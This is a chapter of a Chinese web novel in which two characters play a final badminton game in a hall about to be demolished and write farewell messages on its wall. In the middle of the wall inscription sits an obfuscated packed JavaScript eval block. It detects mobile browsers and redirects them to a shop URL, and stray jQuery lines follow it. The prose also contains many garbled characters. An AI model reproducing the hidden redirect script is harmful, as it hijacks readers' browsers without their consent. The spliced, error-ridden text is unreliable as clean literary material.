第二十三章：羽毛球场馆的最后比赛


    一月中旬，旧羽毛馆要拆了。


    消息是海鲜摊老赵告诉苏晚禾的。那天她去买鱼，老赵一边给她称重一边叹气：“可惜了，那球馆虽然旧，但也算咱们镇的一个念想。”


    “真要拆？”苏晚禾愣住了。


    “真拆。开发商买了那快递，要键什么海景公寓。”老赵摇摇头，“说是月底就动工。”


    苏晚禾拎着鱼匆匆赶回疗养院，放下东西就去了谢临洲家。门敲了很久才开，谢临洲穿着睡衣，脸色不太好，显然又没睡好。


    “球馆要拆了。”她开门见山地说。


    谢临洲愣了一下：“什么时候？”


    “这个月底。”


    沉默在两人之间蔓延。窗外的天色阴沉，像要下雪。


    “我想再去打一次球。”谢临洲突然说。


    “现在？”


    “嗯。”


    苏晚禾看了看他苍白的脸：“你身体......”


    “就一次。”谢临洲是，“最后一次。”


    他转身进屋换衣服。苏晚禾站在门口等着，心里五味杂陈。她知道这个球馆对谢临洲意外着什么，那是他生病后唯一能去的地方，是他觉得自己是个运动员的地方。


    十分钟后，谢临洲出来了。他穿上了那身省队的运动服，深蓝色的上衣，黑色的短裤，胸口的队徽已经有些褪色。肩上背着那个磨旧的球拍包。


    “走吧。”他说。


    下午两点的球馆，光线从破旧的窗户斜射进来，在地上投出斑驳的光影。馆内比平时更空荡，角落堆着些建筑肥料。


    谢临洲站在场地中央，环顾四周。他看得很仔细，像要把每一个细节都记在心里：裂开的木地板，锈蚀的球网柱，墙上模糊不清的标语......


    “我们打一场？”他问苏晚禾。


    苏晚禾看着他，点点头：“好。”


    没有热身，他们直接站到各自的位置。


    “还是七个球？”苏晚禾问。


    “嗯。”


    谢临洲发球。他的动作依然标准，但苏晚禾能看出来，他的力量比上次弱了很多。球飞过来，轻飘飘的，她轻易就接住了。


    几个回合后，苏晚禾发现了问题：谢临洲只打高远球。他把每个球都打到她后场，让她满场跑动，而他自己几乎不动位置。


    “你在让着我？”她问。


    “没有。”些临洲说，“我在教你。”


    “教我什么？”


    “跑动。”谢临洲说，“羽毛球最重要的不是手法，是步法。你脚步太慢，总等球到了才动。要预判，然后提前启动。”


    他又发了一个高远球。这次苏晚禾试着提前移动，果然接得更轻松了。


    “对，就这样。”谢临洲说，“记住这种感觉。”


    他们打了二十分钟。比分一直交替上升，但苏晚禾知道，谢临洲在控制局面。他每次都能把球打到她最不舒服的位置，逼她练习不同的步法：前后跑，左右移动，急停转身......


    打到第四个球事，谢临洲突然停下来，撑着膝盖喘气。汗水顺着他的额头流下来，脸色白得吓人。


    “休息一下。”苏晚禾说。


    “不用。”谢临洲直起身，“继续。”


    但他的动作明显慢了。苏晚禾能看出来，他在硬撑。每一次挥拍，每一次移动，都像是用尽了全部力气。


    第五个球，谢临洲打出了一个漂亮的斜线球。苏晚禾跑到网球接起，回了个后场。谢临洲后退，跳起——


    他做了一个杀球动作，但没有杀，而是轻轻把球吊到网前。


    苏晚禾上网接球，谢临洲已经等在网前，轻轻一挑——


    球擦着网过去，落地得分。


    “4：1。”谢临洲说，声音有些喘。


    苏晚禾看着他。他站在那里，汗水浸湿了运动服，贴在瘦削的身体上。但他的眼睛很亮，像燃烧着什么。


    “继续。”他说。


    第六个球打了很久。谢临洲开始教她往网前技术：搓球，放网，勾对角。每个动作他都示范得很仔细，虽然体力不支，但动作依然标准。


    “手腕要放松。”他一边做一边说，“像这样，轻轻一点......”


    苏晚禾跟着学。她发现写临洲的教学方向变了，不像以前那样只说要点，而是每一个细节都讲解得很清楚，像是在......在留下什么。


    最后一个球。谢临洲发了个高远球，然后站在原地不动了。他看着苏晚禾跑到位，接球，回球。球飞过来时，他没有接，而是让球落在地上。


    “5：2”他说，“我赢了。”


    苏晚禾愣住：“你为什么不接？”


    “因为该教的都教完了。”谢临洲走到墙边，靠着墙坐下，“剩下的，你要自己练。”


    苏晚禾走过去，在他旁边坐下。两人都喘着气，汗水滴在地板上，很快被灰尘吸收。


    球馆里很安静。远处的海浪声隐约传来，还有风声穿过破损窗户的呜咽。


    “我刚开始打球的时候，也在这个球馆。”谢临洲突然开口，“那时候才八岁，教练说我太瘦，不合适打羽毛球。我不服气，每天放学就来这里练，对墙打，打到天黑。”


    他顿了顿，继续说：“后来进了市队，省队，还是经常回来。这里的地板熟悉我的脚步，墙壁记得我挥拍的声音。有时候训练累了，我就想，等我退役了，要回来当教练，教这里的孩子打球。”


    苏晚禾安静地听着。


    “现在......”谢临洲看着空荡的场地，“现在它要没了。”


    他的声音很平静，但苏晚禾听出了里面的难过。


    “对不起。”她说。


    “为什么道歉？”


    “我......我不知道该说什么。”


    谢临洲笑了：“你不用说什么。陪我打完这场球，就够了。”


    他们又在球馆里坐了一会。谢临洲站起来，走到墙壁，从球拍包里掏出一支马克笔。


    “你要干什么？”苏晚禾问。


    “留个纪念。”


    谢临洲在墙上找了一块相对干净的墙面，开始写字。他的字很工整，一笔一划：


    “谢临洲，2012—2022，在此训练。


    苏晚禾，2022年，再此学习。


    愿每个热爱运动的人，都能找到属于自己的球场


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933704|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    再见了，老朋友。”


    写完，他放下笔，后退两步，看着那些字。


    “你也写一句？”他问苏晚禾。


    苏晚禾接过笔。她想了想，在谢临洲的字下面，写了一行小字：


    “谢谢你教我打球。我会好好练的。——苏晚禾”


    放下笔，两人并肩站着，看着墙上的字。午后的阳光从窗户斜射进来，正好照在那块墙面上，字迹再光影中格外清晰。


    “走吧。”谢临洲说。


    他们收拾好东西，最后看了一眼球馆。谢临洲走在前，苏晚禾跟在后面。走到门口时，谢临洲停下脚步，回头看了一眼。


    那一眼很长，很深。


    像要把整个球馆都装进眼睛里。


    然后他转身，拉开门，走了出去。


    门在身后关上时，发出沉重的响声。像是一声叹息。


    回去的路上，两人走得很慢。些临洲的体力已经透支了，几乎每走几步就要停下来喘气。苏晚禾扶着他，能感觉到他全身的重量。


    “谢临洲。”她轻声说。


    “嗯？”


    “等你好了，我们在找个球馆。我陪你练。”


    谢临洲沉默了很久，然后说：“好。”


    但他们都清楚，可能没有那一天了。


    走到谢临洲家楼下时，天已经开始暗了。路灯亮起来，在冬日的暮色中显得格外温暖。


    “上去吧。”苏晚禾说，“好好休息。”


    “应该的。”


    谢临洲转身上口。走到楼梯拐角时，他突然回头：“苏晚禾。”


    “嗯？”


    “以后也要好好打球。”


    苏晚禾鼻子一酸，用力点头：“好。”


    “不管我在不在，都要好好打。游泳也是。”


    这句话说得太直白，苏晚禾的眼泪一下子泳了出来。她赶紧低下头，不想让他看见。


    “我上去了。”谢临洲说，


    “嗯。”


    苏晚禾站在楼下，看着谢临洲房间的灯亮起来。然后她转身，慢慢往回走。


    冬天的夜晚很冷，风像刀子一样刮在脸上。但她没觉得冷。


    她脑子里全是刚才球馆里的画面：谢临洲挥拍的样子，他流汗的样子，他写字的样子，他最后回头看的样子......


    每个画面，都像刻在拉脑子里。


    走到疗养院门口时，她回头看了一眼镇字的方向。


    球馆在那里，但很快就要没了。


    谢临洲在那里，但......


    她不敢往下想。


    抬起头，天空中有几颗星星，很微弱，但倔强地亮着。


    她想，也许有些东西，就算消失了，也会以另一种方式存在。


    就像那个球馆，就算拆了，也会留在记忆里。


    就像谢临洲教她那些技术，就算他不在了，她也会继续脸。


    就像他们写在墙上的字，就算墙倒了，也会有人记得。


    她深吸一口气，走进疗养院。


    明天太阳还会升起。


    而她会继续游泳，继续打球，继续活着。


    带着他教给她的所有东西。